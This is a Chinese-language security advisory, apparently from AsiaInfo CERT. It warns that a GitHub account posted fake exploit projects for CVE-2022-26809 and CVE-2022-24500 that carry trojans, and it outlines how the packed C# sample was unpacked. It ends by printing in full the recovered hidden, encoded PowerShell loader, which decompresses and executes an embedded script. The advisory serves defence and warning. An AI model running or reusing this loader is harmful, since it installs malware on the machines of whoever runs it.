警惕！利用Github进行水坑攻击安全风险通告 _水坑攻击

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2022年5月19日，亚信安全CERT监测发现Github账户为rkxxz的用户发布了CVE-2022-26809和CVE-2022-24500 的项目，项目内容介绍为：CVE-2022-26809 RCE Exploit Remote Code Execution和CVE-2022-24500 RCE Exploit SMB Remote Code Execution Vulnerability 。经亚信安全CERT专家分析，该用户发布的多个项目内皆包含木马文件，亚信安全CERT提醒大家做好安全防范，不要下载、运行该用户（rkxxz）的任何项目文件！
截至通告发布，亚信安全CERT第一时间对事件进行了跟踪分析，尚未在各大论坛发现该作者推送信息。预测下一波可能会到各大论坛对存储库进行推广，亚信安全将持续关注动态。
同时，由于近期安全事件频发，类似的钓鱼、水坑攻击层出不穷，亚信安全CERT提醒大家，对来历不明的文件一定要进行安全检查，防止误操作给个人和企业造成损失。
事件分析
一、背景介绍
2022年5月19日，亚信安全CERT监测发现Github账户rkxxz创建了CVE-2022-26809的项目，安全专家对项目内容开展分析。

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二、分析过程
1.查询目标基本信息

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源码为C#
2. 分析混淆状态与加壳
通过DNSpy查看默认加壳信息

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ConfuserEx 确定默认加壳信息
3. 代码解密
混淆代码中找到Assembly.LoadModule进行断点，将数组保存出来，得到内存解密后的代码。

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解密后代码字符串为未被处理de4dot

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还原代码
【警惕！利用Github进行水坑攻击安全风险通告】初始还原的powershell代码：
PowerShell
"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIASAA0AHMASQBBAEEAQQBBAEEAQQBBAEEAQQBLAFYAVwArADIALwBpAFMAQgBmacsAZQBmAGcAcgB2AEYARwBrAEQAVQBxAEMAdwBSAEIAQwBNAGwAcABwADIAZwBhAEQAQwBXACsARABlAFUAVABSAHkAWQArADIAYQBXAGcALwA0AG0ANQBqAG4ATgBuADUAMwA2ADgATQBoAEYAdABtADcAdgBhAGsATwB5AFQATAA3AHEATABxAHEALwBxAHEAcQA3AHQASwB4AC8AeABlADUAegBHAHgAZQBUADkAMABzAEgAQgB2ADQASgBpAFIATQBCAEMAawBRAHUARwA2AEcAVwBwAGMAKwBFAFAANAA5AG4AdgBoADIAbQBRAE0AKwB4AGIATgA4AHUAVgBWADQAVQB2AEMAUwBPAEEASgBlAHMAWQA0ADkAcgA5AGUATABrAHUAVABKAE8ARABFAHgAeQBVAHQANABEAGcATwBJAHgAMwBIAE8AMgBKAGoAQgBtAHEAQgA2AFcATQBXAG0AVABZAFcAUwBMAEQAQgBOAGgAZQArAEYANwA1ADgAaQBSAEsATABFAGwAdQB3AEsAYgBnAFEAMwBDAFMAdwBEADkASQB2AHIAeQBvADEAUABmAFkAbQBuAFAANwBHAFEAZQBJAEwAaQBOAEwAUQBOAGoAbQBFAE4AOAAwAGkATABIAHcAWABsAE4ARAAzAFMAUgA1AGkAZQBWADgAcABsADgAdAAzAHcAZwBRAHoAYwBJAGMAUABFAGcAawBrAHcAbwAvAC8AaABOAFgASABmAGgAaABuAG8AegBqAGsARQBFAGgATwArAEwAdgBRADIAbQBNADcANABYAGkAQwBUAFcAYwBlAEUAMwA1AEUAcQBmADAATgB4AGgAUgBvAEMAcwA5AEMAUQBnAEsAZwBJAG0AaQBCAFMANABKAFAATQAvAFgAMABPAHgAawAzAEsAZABYADgASwBJAHoANQB6AGQAVQBXAHgAdwBHAG0AVgBhAG4AawBVAEgAcABWAFAAQQBNAHkARABzAFEAQQBkAHcAOQBKAEMAdwBDAEwAagAzAGcAcwBHAEMAVABtAGkAVQBrAFAAdgBHADkATwBNAGgAbwBoAHgANABrAHgAWQAzAGQASAB4ADAANgBxAGsAdwA5ADgAVwByAGoAMABNAGsAZABuADgAWQBsAG8AOABlAHYALwBFADQANABTAFkANQBQAGoANgBSAHAAZQB6AHIALwBDAE8AYQA0AFIAaAB5AEsAeQBJAEgAMQAvAGkAWQB1AGIAOQB2AFkAWQAzAEYAawBaAFoARABFAC8ARQB6AGkATABSADIAWQBNAHQAUQBHACsAegBzAFkASABYADgARABpAGsAUABhAC8AYQBCADYAOQBhAGMANwAvAHkAQwBRAEgAbgA1AHUARQBxADIARwBzAFEAOAAxAFMAUABMAFQAeQBTAHYAeABrAHMAKwA2AFkAZwBVAE0AaAA0AE0AUABXAE8AbQBtAGYAVQBFAG8AWQB0AHMAUABBAFkAUQBlAFAAcwBKADAALwBDAGwAZgBmADQASABEAFkAbwBSADgAUgBpAG0AUABZADcAZwBGAE8ANwA0ADgANABRAHAALwBZAGMAYwBoAEMAbAA1AGMAVQBmAFcAMwBHADAAZQBtAGwAdwBOAG0AQwBMAGQAZwBSAEIAOABlAEYANgB5AGgAbgB5AHkANABOAFQANABjAG4AVgAyAHkARwArAGYAdQBJAGYAdgA0ADQAWgA0AGgAOQAyAHAAYwBtADIATQBVAHgARABtAHoAcwBvAE8AUABwAEoASgBpAFYASQBMAGMAVABNAC8ARAB3AHoAYgBlAGIAcQB4AE4AbQBuAG8AOAA3ADQAWABYAEUAagBxADcAZQBTAGkAZgAxAHIATgBRADcAbABVAHEAeABlAEEAWgB0ADQAdwBEAEgAcwBNAHQAYQBjAEQAdwBoAEUATwBYADEATgBFADUAdwA0AFIAcQAyAEwASwBIADUAWQBUAHQAVAAvAHcAegB1AEUAMAArAE4AUQAxADgAUABrADkAagBHAE4AeQBlADQATwArAEYAOABjAHgAUQBMAGgAVgBjADUANAAvAGoAMQA3AGUAMQA2AFoAOABiAC8AcwBQAFAAcgA1AGcALwBoADkAVQB3ADgAMgBPAEcAWQB2AHoAMAAvADUAeQBpAHkAeQBYAEMAOQBsAHQAOQBMAGcAWABkAHoASgBRADUASgBGADgARgB2AHEAUQBXADAANwAzAFMAMwBwAEsASwBsADgAUABUAGgAbQBaAEcAcQBGAGoAWQBmAG4AWgBmAHUAcABpAFAAMgBiAFkAVwBOADIAbQBvAEQAawBkAFIATAA3AGMAWQBBADIAUwA1AHAAcQBOADAARgA2AEkAMQBKAFcAVwBzAGcAUgArAG0ATgBPADAAUgBOAE8ANQBNAFgANQBNAGcAZwA4ADUAYQBrADQAbgBuAEkARwBXADEARwBMAGIAOAAzADAASgBoAGMATwBlAEUAYwA3AGUAMQBhAHIAYgBNAG8AbwAyAHEAMQBOAHEAeQBXAHQAdwA3AHUANQB2AHAAYgA1AEEAeAA4AGsAdQA1ADcAOABHADAAagBaADkAaQBUAHcAYQA2AHMAMABWAFoAWABtAFYAaAB6AFMAVgAzAE4AYQBVAGUAcwBxAFcAdAAzAEgAagBLADkAWABsAHMANQBaAHYAdQBCAE8AawBnAE8ASABZAGsAbQBwAGoARQBKAHAAeAAzAGIAbAAwAFgAUgA2AEwAdABQAEMANgBQAGkATABBAHoASgBxAHgAdQBCAEgANABoAFAAaQAyAGkAZABFADEAWABaAFAAagBQAFUAaQBlAGsATgBKAHIATQA1AHgASgBjAGkATgBLAHYASQBvAFYASAB6ADMAZgAxAE8ATgBPAHAAVgAyAFkASQA4ADYAQwBaAEMAeQBsAEsAYgA2AEQAUABhAG4AYwA2AG8ASABOAFkAcgBzADIAUQBJAHUATQBRADIAbQAyAGsARgA3AFUAWABBAE4AbgBkAFAAVQA4AFAAMwB1AEwAeABlAFAANABwAFAAYwB6AFYARgB0ADYAMAAwAGIAUwBIAFUANwBJAGgAcgBkADEAVwBXAHQAZQBDAGgAbgB0AEwAdwBuAFMAMwBJAHcAcwAxAHQAMQBYAEMAaQBxADcAagB2AEgAdQBNAHoAUABXAGQAaQBBAEQAYQB2AHUASgA0AEMAMgBMAHMAVQA3AFMARABDAGgAMwAxAFYAcgA0AEoATwB0AEIAMABEADEAagBEAG8AbwBqAEYAQwBkAFcAMABuAGkAbQBKAGoAMQB3ADkAVwBxAHAAVwBpAGUAUwBXAHcAZQBHADgAMAAvADYAagBNAEQAWgBGAHkAWgA1AHIAUgBiAFAAWgBFAEgAOQBMAHAAZABxADMAcQAyAGwAagBSAHMAcgBZAGYANgBZAGEANABVAFYAWQB2ADQAaABZAE4AZQB0AG0AYQB5AFMAdQByADIAZAAxAFkAeQAyADUARgBUADYAVgA5AFoARwBVAHYAVABPAE8AOQBUAGEAZQAvAFQANQA1AGUATgBHAGMANgBNAC8AVABxAHUAegBSAEQAKwAxAEcAbABpADEAVABqAFkANwBYAFEAKwBIAGoAdQBVAEMAcwBZADEANwBWAFcAWgBZAGQAOQB5AHEAeAAyAGEAegBmAFEAYQA2AG0AbQByAEQAZQBXAFYARQBtAFgAaQAwAG0AMAA5AFAAZAAwAG0ATQBtAEQAVwBaAG0AcQBXAG4ATwBiADkASgB2AE0ATQAyAEEALwBWAHUAMgBuAHEAcAAzAEoAUQAwAE4AQgBVAG0ALwBUAGUAdABSAFUASgA3AEkAMgB5AHoATABvADEAZwBhAGIATQBhAHcAbgBtAFQAbQBmADUAUABnAEgAVABKAEEAUABaADAAMABrAHYAWQB6AEwATAA2AGoAWAByAFQAZQA2ADYANgBtADAAcwB0AFUAMgBTAFYAbABMAHEANQBtAEsAcwArAHcANwB6AFgAVABTAHEASAA5AHMASAArAEwAMwBSAEUAeQAwAHMAYgAyAHMAagAyADcATABjADYAVQA5AFUAZABMAGUAVQAvAHYAMgBrAFQASAB4AGYAUgBPAG4AWQBXAE0AMABKAFIAVwB1AE4AQwBvAGYAWgB0AGEAUABzADIARwBVAFEAZgB4ADgAVQBKAE8ATgBCADgAZgBSADAAdwAwAFcAMQArAEgAYwBXAGUALwBvAGMAcQA3AFgAeQA0ADgAZABhADcAQQB4AG8AbgBGAGEAOQBXAGQASgB5AHoAQwB3ADEAOQBiAFUAYwBqAE8AaQB3ADgAWQBIADUAVgA2ADkAVQArADMARwBmAFUAdAB1AFAAaQA2AGoANQByAHcAVwBKAFoAVgBwAHQAbQBwAHUAcABGAEcATAA2AFcANwA2AHUASwBoAHoAdgAvAEcAaAB0AE4AegBoAGIARgBnAGYASQBwAG4ARQBWAFQAeQBMAHoATwBYAEEAYQBlAGwAZABhAHgAagBQAHAAcwBGADIATQBHAHgASwBMACsANQAwAHoARQBSAHoAdAB0AHIAVQAyADUAMQBiAGEANwBoAGYAOQA2AHMAagAyAFkANABVAHgAWQArAGEAVQBrAGMAZABhAHAAcgBJAFIARQBlAHgAMQBjAGoAYgBxAHEAUgBSAGMALwBsAFQAVgBaAFAAbgBkAFUAbQBTAHQANgB1ADQAQgAzAFgAZQA2AE0AMgBKAEEAWABWAHEAYgB1AFUAUQB5AFYAQQB0AGIAUQA4AGgASwBCAE4ARABXAGkAOABqAGQAVQBTAGgARABxAGYASgBPAEMAOQAwAEoARQB1AEcATwBpAFUAWQA2AGgAUQBoAFUASgBMAHoAVwB0AFYAcABHAEoAQgBEAHIAWABhAG0AawBGAFoAYgBUAG0AcwBMADUARwBCAGoAbQBkADYAUwBTAEgAUgBGAHMAVAAvAGQAWgByAEIAWABhAFcAKwBqADUAZQA5ADkAMwB6AHQAZwBvAFMAdQA0AFkANgA2AHQAeABIAFUAUAB0AC8ATAByAGMAYwBnAG8ANQBUAE0ARgBYAEMAcwBYAHYAUgBSAEcAaABmAE0AbABWAE8AcgBoAHcATwBOAHIANABWAGEAbwAzAEYAMABZADMAVgA3ADIAVQBzAEQANABIAEMALwB1AEkAVgAvAC8AUgBmAFUANABtAHYAdwBFACsAUABQAFEAQQBYAG8ALwBEAHgAMwBGAEEAbgBHAEYAbQAxAGMANQBEAE8AbgBiAGIAeQBjAHkAUgBaAGcAdQBDAGwAKwB1AFAAUgBwAGEASgBuADAAKwAzADgAUABWAHIAeQBDAE4ATQBVACsAZwByAHgAVgArAEYARgA3AC8AZgB2ADQAcQA5AGMAMgBZAHIAVQAxADYAaQBDADMASwBiAHMANwA4ADcANABRADgARwAwAGQAUAB2ADYAYQBsAFcASABnADkAOQBzAFkAMwA0AFoAbwBmAGUAdQArAHYAcQBiADIAWQBDADgAcQBYAGUATQBkAGwAKwBaAEwAVwBFAGEAaQBZAFQAMwBxAC8AcwBIAHEAOABaAEgAVgBxAE8AOQBLAHYAWAB2ADkAZABHAHoAOABoAC8ANQBUADIAdgBKAG0ARAB3AGUAZQBBAFYAaQB6ADgARABnADEAYwB5ACsATQA1AFUAWAB0ACsAWgBqAEMAbQBDAFAAZgA0AFgAVwBnAGMAbwBtAEwANQBtAEgASwAvAEMAUwAzAEkALwBLAEcAVAAzAFYAeQBiAFIAVQBGAHIATABhAEMAZgBDAFQAKwBFAGUAOABnAHgAWQBsAFYASgB1AEUAZQB4AGwALwBnAFkAaABvAHIAagBzAFAAeQBuAGsARQBKAFUAQgA4AE0ALwBZAFIAaQAxAE0AZABuAGgAKwAyADUAbwBBAFIARgBNAEcAYwA2AGgARAB5AEMANQBNAHMAagArAEMAUwBHAHIAagAvADEAOQBDAHcAQQBBACIAKQApADsASQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBHAHoAaQBwAFMAdAByAGUAYQBtACgAJABzACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA"